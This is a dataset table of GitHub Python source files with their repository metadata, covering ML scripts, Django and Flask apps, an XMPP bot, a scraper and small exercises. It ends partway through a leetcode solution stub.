blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
45ff041f7e53bb10b214960460aa86afe0a500b6 | 91a916f2300a8ec46c0ce59b5feea0ae4d30d921 | /hw3/saliency_map.py | 91e1f188aa077e82b29f548a09a573928106fdbd | [] | no_license | andy920262/ML2017 | 9130e18eb5d3be13cac0177cc80e0ed2655ebf63 | 8a63ca87c9a4bad848506fcf73efd09438751a29 | refs/heads/master | 2021-03-30T17:37:52.511875 | 2017-06-02T11:47:32 | 2017-06-02T11:47:32 | 82,885,039 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,483 | py | import matplotlib
matplotlib.use('Agg')
import argparse
from keras.models import load_model
import keras.backend as K
from keras.utils import *
import numpy as np
import matplotlib.pyplot as plt
from data_process import load_data
if __name__ == '__main__':
model_path = ('best_model')
emotion_classifier = load_model(... | [
"920262@gmail.com"
] | 920262@gmail.com |
b11dfdfda95299179c32d624dade4b02b6109105 | c90970d4535c1fb74fbb841dc5029b5a0faca48e | /decisions/importer/open_ahjo.py | 2309bceb60a26bc8a275694c3fad3b1330710ba2 | [] | no_license | Metatavu/paatos | 03a6a3b3a85b367b8cddb24425f7f56025bf5520 | f597a0e2ac781b916c7a7c2d88afc501bf60c995 | refs/heads/master | 2021-01-20T00:40:23.203263 | 2017-09-29T10:48:16 | 2017-09-29T10:48:16 | 89,169,399 | 0 | 0 | null | 2017-05-29T22:02:08 | 2017-04-23T20:11:13 | Python | UTF-8 | Python | false | false | 9,570 | py | # -*- coding: utf-8 -*-
import json
from django.conf import settings
from decisions.models import (
Action, Attachment, Case, CaseGeometry, Content, DataSource, Event, Function, Organization, Post
)
from .base import Importer
class OpenAhjoImporter(Importer):
def __init__(self, *args, **kwargs):
su... | [
"tuomas.haapala@anders.fi"
] | tuomas.haapala@anders.fi |
0e42a6e1f8d9efb5a8261f2ad51f074b8eacea2e | 38e277526f58eb08ac12257c0297b9d46c421c75 | /himl/remote_state.py | 14ea6b5309578c2b471ed2077aa64ad433d98122 | [
"Apache-2.0"
] | permissive | adobe/himl | fdfdbc83caea55d67df8a3bf885b56d80b6bf8f9 | eb447d157ddd02ef41a07ae0d705e4d3bf6e8d23 | refs/heads/master | 2023-09-04T03:35:15.369780 | 2023-08-06T19:35:55 | 2023-08-06T19:35:55 | 202,412,608 | 107 | 31 | Apache-2.0 | 2023-09-12T12:51:41 | 2019-08-14T19:23:44 | Python | UTF-8 | Python | false | false | 1,499 | py | # Copyright 2019 Adobe. All rights reserved.
# This file is licensed to you under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License. You may obtain a copy
# of the License at http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law ... | [
"costimuraru@gmail.com"
] | costimuraru@gmail.com |
613c3df38389bc3ad844a0136c1505cb0f96e312 | 3c61d38436f746729a3b810bbe33926593816223 | /data_processing/namibia/combo_data_processing_WIP.py | be2240f874b3dd81b26b598830198940273b665b | [] | no_license | PATH-Global-Health/DIAMETER | b9eb01a288eb6af8c6b4dbf059047cfce07e22c3 | ade4cfd1497351ef2fc1e3f4846c2d0ae00c1abd | refs/heads/master | 2020-05-25T08:54:46.576250 | 2020-04-17T17:09:53 | 2020-04-17T17:09:53 | 187,721,605 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,074 | py | import os
import argparse
import numpy as np
import pandas as pd
from functools import partial, reduce
# import helper functions
from data_processing_helpers import (run_compare, return_decisions,
fix_concentrations, split_time,
remove_time, read... | [
"lzoeckler@path.org"
] | lzoeckler@path.org |
f8e07bb540bee57fc81311ca0de21bced5b6621b | 9431bba2d148f8aef9c0a8f3ca16fcf875890757 | /bokehExer/onlineSample/sliders.py | 49abe74a8eaf11feee120636e60983bf5dbbdaf7 | [
"MIT"
] | permissive | terasakisatoshi/pythonCodes | fba0b78414b2c85f4a738200354ea583f0516768 | 953210c06e9885a7c885bc01047715a77de08a1a | refs/heads/master | 2023-05-14T12:30:22.201711 | 2023-05-07T13:41:22 | 2023-05-07T13:41:22 | 197,893,702 | 2 | 1 | MIT | 2022-11-25T10:59:52 | 2019-07-20T07:09:12 | Jupyter Notebook | UTF-8 | Python | false | false | 420 | py | from bokeh.plotting import figure, output_file, show
# prepare some data
x = [1, 2, 3, 4, 5]
y = [6, 7, 2, 4, 5]
# output to static HTML file
output_file("lines.html")
# create a new plot with a title and axis labels
p = figure(title="simple line example", x_axis_label='x', y_axis_label='y')
# add a line renderer w... | [
"terasakisatoshi.math@gmail.com"
] | terasakisatoshi.math@gmail.com |
8de038635915ef8036b8a6253f37db06d8a39a01 | fd0bf99070d83466101869f1a13e3cc408a2a101 | /python/20130130_ORF_ID_to_Seq_ID.py | 1a0268524b0c887de61d25e50ca404198c3a04ac | [] | no_license | hkkenneth/lihs | eabf11173b5f09bdf70ebb6bb58e9bde711e03d8 | 02360939ca9e06e041ce21c99b729a2e12a28411 | refs/heads/master | 2021-01-10T10:04:05.807656 | 2013-03-04T15:24:58 | 2013-03-04T15:24:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 398 | py | # Author: Kenneth Lui <hkkenneth@gmail.com>
# Last Updated on:
## Usage: python ~/code/python/20130130_ORF_ID_to_Seq_ID.py <INPUT> <OUTPUT>
import sys
if len(sys.argv) < 3:
raise SystemExit, 'use grep "##" ~/code/python/20130130_ORF_ID_to_Seq_ID.py to get usage'
outf = open(sys.argv[2], 'w')
for line in open... | [
"hkkenneth@gmail.com"
] | hkkenneth@gmail.com |
a02cf0b3fcfbf26de5c7514aa15fd3ba61c07ab2 | 5cf85939610c9bc568665cb7c178589ef240c72d | /Assignment 6/Activity 2.py | c4791f99a4e9984f4eef2f89170a17c56af1b990 | [] | no_license | oboyanivskyy/CIS106-Oleg-Boyanivskyy | ffcb8c6cf73f8a343e9cedb53985ff9de056f95b | 0d315cc0624e85bf3fcbc9c1505e58e8aa787fcd | refs/heads/main | 2023-04-12T20:54:02.491062 | 2021-05-13T16:48:40 | 2021-05-13T16:48:40 | 331,188,806 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 945 | py | # This updated program will take your age,
# and display your age in months, days, hours,
# and seconds.
def get_age():
print("Enter your age in years.")
age = float(input())
return age
def calc_months(age):
months = age * 12
return months
def calc_days(age):
days = age * ... | [
"noreply@github.com"
] | oboyanivskyy.noreply@github.com |
6930553da58762d4c112efa76dd6dd1d0b19451b | b6fe842749ca288b5e7f048c149b04f035f62b93 | /mydb/pymongo_insert_col_1.py | 38b3e68f4f8023abb51adcc22f893011739831c9 | [] | no_license | zxcvbnm123xy/leon_python | c8fa74dd0186402b9edf7466f9a28a6fa586b17c | b68f5d5e8240c5a99ec7c155fb85f816ac0d54d1 | refs/heads/master | 2020-03-27T03:03:43.610701 | 2018-11-14T09:17:15 | 2018-11-14T09:17:15 | 145,836,887 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | # 加载依赖
import pymongo
# 创建连接
myclient = pymongo.MongoClient("mongodb://localhost:27017/")
# 定位到数据库mongo_python和集合sites
mp = myclient["mongo_python"]
sites = mp["sites"]
#alexa--->网站的全球排名指标
document = {"name": "python", "alexa": "10000", "url": "https://www.python.com"}
ret = sites.insert_one(document)
print(ret)... | [
"737878501@qq.com"
] | 737878501@qq.com |
3bc01818033d523d7c3c35a5753db7099d003ea7 | ddeadd0accfb2f640f2bb7d47a3336b601e1d65b | /spider/renniso/article/selenium_test.py | 818b04dcdc3868ce4b1d735104604acf0d25c8fb | [] | no_license | wuxinchaliu/python | ff25ed61bb9b0f83bd74243abcd09c1ec154d45e | f39751797efc7aeb184fa994f7187b7779fbd301 | refs/heads/master | 2021-01-21T04:55:41.347045 | 2016-06-22T06:38:02 | 2016-06-22T06:38:02 | 53,824,681 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 699 | py | # -*- coding: utf-8 -*-
from selenium import webdriver
import time
import os
import sys
reload(sys)
sys.setdefaultencoding('utf8')
chromedriver = "/usr/local/bin/chromedriver"
os.environ["webdriver.chrome.driver"] = chromedriver
browser = webdriver.Chrome(chromedriver)
# browser.get("http://www.baidu.com/")
#
# tim... | [
"qi138138lin@163.com"
] | qi138138lin@163.com |
165d2c9f59136e1444d55600d106600c891f6da2 | abcaaaea2c40b175351116599026273ff86d9282 | /qaserver/libs/query.py | eed035c9fdb128a46615e5422870fed35409689f | [] | no_license | afterimagex/QAServer | 01ff21740e5617a18546869d21a8f372bc9d9e27 | be2603dfc43daf63dc33dc8dd653372c563384f6 | refs/heads/master | 2022-03-27T17:28:23.781601 | 2019-12-27T11:06:38 | 2019-12-27T11:06:38 | 229,937,391 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,068 | py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# Copyright 2016 The TensorFlow Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licens... | [
"peichao.xu@seetatech.com"
] | peichao.xu@seetatech.com |
7ab97c7b41a6cf374e72538106bf02896e8c7fa6 | 21b29ffd891806f03f7821b865fdad9c2a00e729 | /tom_functions/get_idxs.py | 9faed6eb0bd02441da9ccc684a3c088b614f6070 | [] | no_license | mv-lab/kuzushiji-recognition | 71d46c059d07726d401a364e84900ceb0ebd4d5a | 08caaeaf40a00e1264b27e0f2157515b8ba8bc95 | refs/heads/master | 2020-08-14T10:35:23.277583 | 2019-10-26T08:52:26 | 2019-10-26T08:52:26 | 215,151,222 | 20 | 6 | null | null | null | null | UTF-8 | Python | false | false | 323 | py | from sklearn.model_selection import KFold
import numpy as np
def get_idxs(data_names):
kfold = KFold(n_splits=5, shuffle=True, random_state=42)
val_idxs_list = []
for fold, (trn,val) in enumerate(kfold.split(data_names, data_names)):
val_idxs_list.append(val)
return val_idxs_l... | [
"takeskao76@gmail.com"
] | takeskao76@gmail.com |
3bfb3cdac592a51897a817cd39f81cefc47b2ee2 | c7aa115d30f0ef1369351158ae9a8ab97dc121ae | /contrib/seeds/makeseeds.py | 9a54af5449de3623369a6c49b70f7b9695394d22 | [
"MIT"
] | permissive | DrakeDragon/DRKE | 16a1edf7b82e473667c09a01636b80aa52ee251f | dc982078c40d522d56923fcd66eccbf53d3cfda0 | refs/heads/master | 2021-01-20T10:37:35.194951 | 2014-05-01T16:30:19 | 2014-05-01T16:30:19 | 19,335,687 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 708 | py | #!/usr/bin/env python
#
# Generate pnSeed[] from Pieter's DNS seeder
#
NSEEDS=600
import re
import sys
from subprocess import check_output
def main():
lines = sys.stdin.readlines()
ips = []
pattern = re.compile(r"^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3}):9653")
for line in lines:
m = patte... | [
"ixk1@ixk1-nix.(none)"
] | ixk1@ixk1-nix.(none) |
f60b73c97d97ca29f0166c2bc0a772c8a6a2ceb8 | 2215c442aa4b716acadfdbab5dd4fb453aad0678 | /example_random.py | d7f042f78d118c5c2747b56c448231802b98bb53 | [] | no_license | MagnusFelinto/rl-tournament-starter | 432169be6b6808555d070f39f820f59b1cb2285c | c8a5dae929bdd595d5a0bfd049e6a400c4ef5f3f | refs/heads/main | 2023-08-28T20:00:24.932017 | 2021-10-23T18:12:39 | 2021-10-23T18:12:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 745 | py | import soccer_twos
env = soccer_twos.make(render=True, flatten_branched=True)
print("Observation Space: ", env.observation_space.shape)
print("Action Space: ", env.action_space)
team0_reward = 0
team1_reward = 0
env.reset()
while True:
obs, reward, done, info = env.step(
{
0: env.action_space.... | [
"bryanufg@gmail.com"
] | bryanufg@gmail.com |
975e8622daa592d1a122d28698b2e9f19c3f91ba | 882e9949b0da33b11a5f24156058465da2f95519 | /input/kinetics/libraries/Aromatics_high_pressure/C9H9_2/reactions.py | 4b90c6feda3d07d987ead4981efaddc58f03bc15 | [] | no_license | ReactionMechanismGenerator/RMG-database | f4de3a8628951ad7ef154e82b012bfd334d6bc5a | b7ff16364a07c9a51a34303aa28407a83455a3e4 | refs/heads/main | 2023-09-04T06:18:30.835821 | 2023-08-08T13:37:08 | 2023-08-08T13:37:08 | 1,838,004 | 69 | 94 | null | 2023-09-08T16:39:04 | 2011-06-02T16:09:36 | Python | UTF-8 | Python | false | false | 2,789 | py | #!/usr/bin/env python
# encoding: utf-8
name = "Aromatics_high_pressure/C9H9_2"
shortDesc = u"Benzyl radical+Acetylene and Benzene+Propargyl radical"
longDesc = u"""
Ab Initio G3-type/Statistical Theory Study of the Formation of Indene in Combustion Flames. I. Pathways Involving Benzene and Phenyl Radical
V. V. Kislov... | [
"ampayne@mit.edu"
] | ampayne@mit.edu |
276522ebb23738f05417dc7191682cab9bdbed1e | 41df021a3082b9b462ab11f917a06c1d87c3857d | /src/csv_reader/channel_reader.py | bba130dd9170db8dda3dfcdb7c119a139b3e074d | [] | no_license | rodrigolazarinigil/mysql_etl | f6b0224d87a4c50ec7c82abbb69280fa0dfc360f | 1e2b01b846e4e5467ab92229a06474697c85450a | refs/heads/master | 2021-06-19T00:26:31.655018 | 2017-06-18T23:08:58 | 2017-06-18T23:08:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 538 | py | """Leitor de arquivos (ver datafile_name abaixo)."""
import abc
from csv_reader.base_reader import BaseReader
class ChannelReader(BaseReader):
"""Leitor de arquivos."""
def __init__(self):
"""Construtor."""
self.datafile_name = 'channel.csv'
self.column_names = [
'id', 'na... | [
"rodrigo.lazarini.gil@gmail.com"
] | rodrigo.lazarini.gil@gmail.com |
ebc69e51ec69ea040c5c48d1b773443bed191682 | b560f533f66af8787039e663795a77173a43d3c1 | /Algorighms/Sort/BubbleSort.py | f3a8e452c5648ed350f28fcfe5c5470e234ac148 | [
"Apache-2.0"
] | permissive | z-waterking/ClassicAlgorighthms | 37ac0c22ef53216c87530a6f5134049f86e0a35d | b769d46727279cf6d8532819076a3fef496d05c7 | refs/heads/main | 2023-04-25T16:44:20.402419 | 2021-05-24T07:15:36 | 2021-05-24T07:15:36 | 310,014,865 | 27 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,180 | py | # -*- coding: utf-8 -*-#
'''
@Project : ClassicAlgorighthms
@File : BubbleSort.py
@USER : ZZZZZ
@TIME : 2021/4/21 16:41
'''
class BubbleSort():
def __init__(self):
self.exchange_count = 0
def Solution(self, nums):
'''
对数组元素进行冒泡排序, 从小到大进行排序
:param nu... | [
"sifan.zsf@alibaba-inc.com"
] | sifan.zsf@alibaba-inc.com |
5b33a727698a9e689e58578cd4c124c751a1c2ff | 213b8cab639c7d45cbf6a4fd46eb23e379d9d374 | /python/xmpp/sleekxmpp/muc.py | 809714ac8204f86f33172b1419455cd7e639b5b0 | [] | no_license | DevDungeon/Cookbook | f85b04b690ea0a202ddfaeda6460b6ba5797cb70 | a49a1c77f2b89dc303fa9f2563bb3c19777e4c6c | refs/heads/master | 2023-05-12T06:58:50.606019 | 2022-03-30T04:48:16 | 2022-03-30T04:48:16 | 34,371,982 | 307 | 94 | null | 2023-05-03T22:53:45 | 2015-04-22T06:02:53 | HTML | UTF-8 | Python | false | false | 7,413 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
SleekXMPP: The Sleek XMPP Library
Copyright (C) 2010 Nathanael C. Fritz
This file is part of SleekXMPP.
See the file LICENSE for copying permission.
"""
import sys
import logging
import getpass
from optparse import OptionParser
impor... | [
"nanodano@devdungeon.com"
] | nanodano@devdungeon.com |
07240436b94896e4cd203d2c80217d9e6e354946 | f0fa96d39a66c3ddaae4266442a13ec3feb7a462 | /golomb_sequence.py | e24d0e8b18815a77114f0005b52c26dab5e85938 | [] | no_license | ashishgupta2014/problem_solving_practices | 14d587e98d9996a95efe822335ca4baccb39b1a1 | bc4f4b07e1e33273010e34428e0c31d2d6656c14 | refs/heads/master | 2023-04-26T03:47:40.766508 | 2021-06-07T04:55:52 | 2021-06-07T04:55:52 | 298,063,915 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 917 | py | def golomb_sequence(n, arr):
"""
https://www.geeksforgeeks.org/golomb-sequence/
In mathematics, the Golomb sequence is a non-decreasing integer sequence where n-th term is equal to number of
times n appears in the sequence.
The first few values are
1, 2, 2, 3, 3, 4, 4, 4, 5, 5, 5, ……
Expl... | [
"ashish.2007g@gmail.com"
] | ashish.2007g@gmail.com |
f48ebb2d34d6a796df71d3ba1d81367099f02ef8 | eda7ed06b80be37b1312ec15992c79153cccab60 | /python/fib.py | 3b25c42ddbe7256594c129f1af34e4cbaa73a38f | [] | no_license | niraj17/work | ab01a31ce0692d2cdcb66edd288e0d44b0d32deb | 033cb2e48c5d41a9e97077d51cee8b73410d3a80 | refs/heads/master | 2021-03-12T23:07:56.580448 | 2016-12-23T05:26:14 | 2016-12-23T05:26:14 | 7,384,079 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 326 | py | #!/usr/bin/env python
import sys
def fib(n):
last2 = 0
last = 1
if n == 0 or n == 1:
return n
for i in range(2, n+1):
f = last + last2
last2 = last
last = f
return f
def main():
ans = fib(int(sys.argv[1]))
print "Fib=", ans
if __name__ == '__main__':
m... | [
"niraj17@gmail.com"
] | niraj17@gmail.com |
6f1bc0864ae57891b44f10a086a77cb09a0b781d | fb3b50051e4fd919ab4de94312da32faf33c7d21 | /research/self_driving_car/car/neural_network.py | bbe4aecd5cd1e22d722ec000770b592cd21ebe23 | [
"MIT"
] | permissive | hoangtnm/deep-learning | 95310078120657c27e90c58f73981863e52db06d | bbc2c1adb38bfd7c066a4fe6b5a0e0dab6df21cb | refs/heads/master | 2021-06-24T04:48:23.113663 | 2020-05-20T08:40:20 | 2020-05-20T08:40:20 | 139,654,631 | 2 | 2 | MIT | 2020-05-20T08:40:21 | 2018-07-04T01:43:20 | Jupyter Notebook | UTF-8 | Python | false | false | 1,456 | py | import torch.nn as nn
from torchvision import models
import torch.nn.functional as F
model_ft = models.resnet18(pretrained=True)
num_ftrs = model_ft.fc.in_features
model_ft.fc = nn.Linear(num_ftrs, 1)
class Flatten(nn.Module):
def forward(self, input):
return input.view(input.size(0), -1)
class Net(nn.... | [
"minhhoangtrannhat@gmail.com"
] | minhhoangtrannhat@gmail.com |
bdaa415fcfcfcd6249e9a52e214476f4597bd832 | 18fd4062e7bdc626df99229eba78affa9b94859b | /flaskk/__main__.py | b6e7f408dd83fa69ca0b938fe60d9fc3c580ff45 | [] | no_license | root-sudip/Search-Engine | 57290708924895a4d26dc5252a0300453b7d7b31 | e24db9e14e3330b59f140269cbd687ab338e95d6 | refs/heads/master | 2021-01-20T05:52:41.168438 | 2017-05-11T11:29:38 | 2017-05-11T11:29:38 | 89,817,062 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 189 | py | # -*- coding: utf-8 -*-
"""
flask.__main__
~~~~~~~~~~~~~~
:copyright: (c) 2015 by Sudip Das.
"""
if __name__ == '__main__':
from .cli import main
main(as_module=True)
| [
"touch.das@gmail.com"
] | touch.das@gmail.com |
f960790283fc72eb28d0c683a04afb7ba9eeb3b1 | bce28b80ec97dc859da1457f7d20c8d627d57318 | /executor/schroot.py | b3a406c32efd7825e3940a23ed032d70304c466e | [
"MIT"
] | permissive | lukehuang/python-executor | d791a37a65cde71fc9323830aae13564345475a0 | 9ab0ee8ac76abcbbb5ad6cbe74ab704d0e1f7f5d | refs/heads/master | 2020-12-30T15:53:58.732451 | 2017-04-13T21:38:27 | 2017-04-13T21:38:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,118 | py | # Programmer friendly subprocess wrapper.
#
# Author: Peter Odding <peter@peterodding.com>
# Last Change: April 13, 2017
# URL: https://executor.readthedocs.io
"""
Secure command execution in chroot environments.
The :mod:`executor.schroot` module defines the :class:`ChangeRootCommand` class
which makes it easy to ru... | [
"peter@peterodding.com"
] | peter@peterodding.com |
20ad32d0e1fa430b742e5d7a65c0f7f8b36dcd45 | d125a7467b815ea3027567b0a6976c8ad730beb9 | /src/itsmservice/apps/accounts/views.py | 27a1e679c1ca4525aa082d97b45de129894a743f | [] | no_license | sunyaxiong/itsmservice | 06a1cb38b7314695613e2432f2e1d56c86aad815 | e50fccae9ae536ac520337ec79b1d1c985e49aa4 | refs/heads/master | 2022-12-12T11:14:03.838601 | 2018-10-31T06:17:25 | 2018-10-31T06:17:25 | 137,029,391 | 0 | 0 | null | 2022-12-08T00:58:47 | 2018-06-12T06:50:01 | JavaScript | UTF-8 | Python | false | false | 6,092 | py | import logging
import requests
import json
import urllib.parse as urllib
from django.shortcuts import render
from django.http import HttpResponseRedirect, JsonResponse
from django.contrib import auth,messages
from django.contrib.auth.decorators import login_required
from .forms import UserForm
from .forms import Prof... | [
"sunyaxiong"
] | sunyaxiong |
1f453f657f606a3a4274e6df7766ec853107d125 | 8c3491c0f0efe855bcfe5b7e26c4a23fca3e1159 | /pages/urls.py | 978db46628a5c919ab7535970cc247135178b45b | [] | no_license | afandel/helloWorldProject | fc812dbf655ee27fcb6c889168e295c3c7a88e25 | f01a7aac5b208fb9a4f3c2a9a72b70dae7a1ca01 | refs/heads/master | 2023-02-02T05:29:54.945839 | 2020-12-15T14:43:48 | 2020-12-15T14:43:48 | 306,415,487 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 120 | py |
from django.urls import path
from .views import homePageView
urlpatterns = [
path('', homePageView, name='home')
] | [
"adam.fandel@snhu.edu"
] | adam.fandel@snhu.edu |
bdd35f99daa2dc957e66138bd9bdef2f96a2e33f | 09ce1b949b9ca0bd43adddb9b6a4742ef96d48d6 | /Beginer/K-Fibonnaci/k-fibonacci.py | 052f9f7ddf868cf2778e7aaa7289b4247f8165c8 | [] | no_license | melwyn95/CodeChef-Problems | 11e133997ae0197fbd0b68f4918e0ff45e8cd0c8 | 0c7f2e0da47cde0c781b8a970e8b28b7856be969 | refs/heads/master | 2020-06-21T18:26:11.130334 | 2017-12-26T12:06:58 | 2017-12-26T12:06:58 | 74,776,576 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 204 | py | n, k = map(int, raw_input().split())
a = [0]
def T(n, k):
if n <= k: return 1
return a[n-1] - a[n-k-1]
for i in range(1, n+1):
a.append(a[i-1] + T(i, k))
print (a.pop()-a.pop()) % 1000000007
| [
"melwyn95@gmail.com"
] | melwyn95@gmail.com |
751894ece0a71fa109934a6abbd09b3e1c5b95a4 | 28cabf3c73c667a92a7a43c0a61fc5b672034cb4 | /src/workouts/migrations/0004_rowingworkout_owner.py | d4b4b799769c0c22a1e9b0b5bbbff9d54dc6d2b7 | [] | no_license | ashleyelaine/LogMyRow | 48943efabcb6b3048871eab95d0cba8eab46c4a3 | 24d0447670ab7aaefa4b413d207eb6c784ef1662 | refs/heads/master | 2021-09-07T08:09:07.765560 | 2018-02-09T20:58:10 | 2018-02-09T20:58:10 | 113,527,859 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 696 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2018-01-18 21:02
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_depende... | [
"ashleyelainewright@gmail.com"
] | ashleyelainewright@gmail.com |
52dba0de037cc4fcaccbec0e66a5651c875897d3 | efcc32acc681f0cf88416b75623cf976e71f6447 | /data_utils.py | bfba59f627fac61f139b259554e64e518d818e01 | [] | no_license | jacobperricone/224w | 7d5aacc525d25fe27d7c0e55c38dc920c7428ebe | 8a3441371c3198c5d09ae8d7d0701df4b988371d | refs/heads/master | 2022-12-03T17:35:25.905597 | 2020-08-17T16:32:26 | 2020-08-17T16:32:26 | 113,819,720 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,129 | py | from lxml import html
import blocks.create_dict_from_element.core as cdfe
from multiprocessing.pool import ThreadPool
import logging
USER_AGENTS = [
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS ... | [
"jacobperricone@gmail.com"
] | jacobperricone@gmail.com |
0a2a7ce05cf67f530675273c267d6596dc1d0fa9 | f08371a6744d3636cbd1dd4ec0cb17acb490e61e | /devtrac/main/templatetags/extra_filters.py | e39c4b2745838f833ed9f23c2056fec2cb209856 | [] | no_license | onaio/ona-devtrac | ae99fa9f3a4d6212a573ee42b81a760f7c5d25e1 | 9a8717a00ed9f8dc9e258d879480b2e8f88e886b | refs/heads/master | 2021-05-27T22:22:14.622115 | 2014-06-06T13:03:50 | 2014-06-06T13:03:50 | 15,524,099 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 135 | py | from django import template
register = template.Library()
@register.filter(name='get')
def get(d, key):
return d.get(key, None)
| [
"ukanga@gmail.com"
] | ukanga@gmail.com |
2e35a2db7708b9c8f6dd10eedd43ae780b7c92c7 | 7b6b46395b0e8748282916186c608ce15356e0df | /Flask/Flask_database/DatabaseInViews/adoption.py | 836b611008939703fed5c4c729af3ec5fe0d9f4d | [] | no_license | Hopw06/Web | 1a2d2499a19153552b7452c0b9200af4bfa3bbd2 | 763ff13a60903f0969db30e924c76426669fd04c | refs/heads/master | 2023-01-12T14:03:23.886586 | 2020-11-14T14:59:16 | 2020-11-14T14:59:16 | 303,758,846 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,793 | py | import os
from forms import AddForm, DelForm, AddOwnerForm
from flask import Flask, render_template, url_for, redirect
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
app = Flask(__name__)
app.config['SECRET_KEY'] = 'mysecretkey'
#######################
##### SQL Database #####
############... | [
"vuxuanphong06@gmail.com"
] | vuxuanphong06@gmail.com |
b3d474831ed9dde5f79af090a1517ff329248f8d | 79127ff15a2a43ca185b4ad2e4346914be946029 | /myblog/boards/views.py | 81940479dcda58361f9af8a2e084c4efeef3129e | [] | no_license | yanHuaiQ/tencent-cloud | 21ef8ead44b7941557388bca820dd862dd1815b7 | f793982ee2c8d5b02a5dd840fc53313bcef2f857 | refs/heads/master | 2021-05-21T18:03:54.637474 | 2020-04-03T13:54:27 | 2020-04-03T13:54:27 | 252,746,006 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 121 | py | from django.shortcuts import render
def home(request):
return HttpResponse('Hello World')
# Create your views here.
| [
"841543613@qq.com"
] | 841543613@qq.com |
a35580442a22de2f6b308f8d52a0c5a22d032ee1 | 67033f2a1c74822398846836d79bb9fc5b914b87 | /blog/migrations/0006_auto_20200323_1241.py | 0935b99fbc679a226070c0f764c2827e6b4a6b6a | [] | no_license | Adi1222/Blog-Project | 9d4b3ef94428622fb0b85356eb9584105aeda19b | 6299d28122ca0d4b9d8437307c8730fc4797ef76 | refs/heads/master | 2021-04-17T23:18:49.037312 | 2020-08-16T06:51:26 | 2020-08-16T06:51:26 | 249,484,778 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 405 | py | # Generated by Django 2.2.6 on 2020-03-23 07:11
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0005_auto_20200323_0150'),
]
operations = [
migrations.AlterField(
model_name='userposts',
name='img',
... | [
"adityachavan677@gmail.com"
] | adityachavan677@gmail.com |
80639dd415ef5ede0bc62e8709093e3bbcd3f93e | 8eb1f77de15b579ed171182d70ee516883f4b032 | /main.py | 78d442f127c793317feda2619b71442161ff7a17 | [] | no_license | luciql33t/telegalolz | 5dd6c8f637087770b5dfe6f40a77ba5a7bb04e45 | 23aa8ae0ca17e86c810d702e5222f51d9e745f7c | refs/heads/main | 2023-01-04T07:56:56.766174 | 2020-11-03T11:06:13 | 2020-11-03T11:06:13 | 309,659,078 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 652 | py | import requests
import bs4 as bs
import time
url = 'https://t.me/'
t = 2000000
with open('list.txt', 'r') as f:
ids = [line.strip() for line in f]
while True:
for id in ids:
page = requests.get(url + id)
soup = bs.BeautifulSoup(page.text, 'html.parser')
stat = soup.f... | [
"noreply@github.com"
] | luciql33t.noreply@github.com |
5c865faf8ac12abbd353e5aa7fa31f5a337f5249 | ed76db3a268a9253837e85130c0f221bd904bff0 | /DP/[x] 560. Subarray Sum Equals K.py | 85e9cb792a05b9869a13dd45ba2d1f4cf74e2541 | [] | no_license | jay-joo-code/leetcode | f54db01f195f35d436e524d6e257ad755525eb69 | 349bd6d54a3f463499b9f59d7aec01c9dd1fc9d0 | refs/heads/master | 2022-11-30T21:17:34.602100 | 2020-08-09T05:55:37 | 2020-08-09T05:55:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,175 | py |
# attempt 1 (failed)
def subarraySum(self, nums: List[int], k: int) -> int:
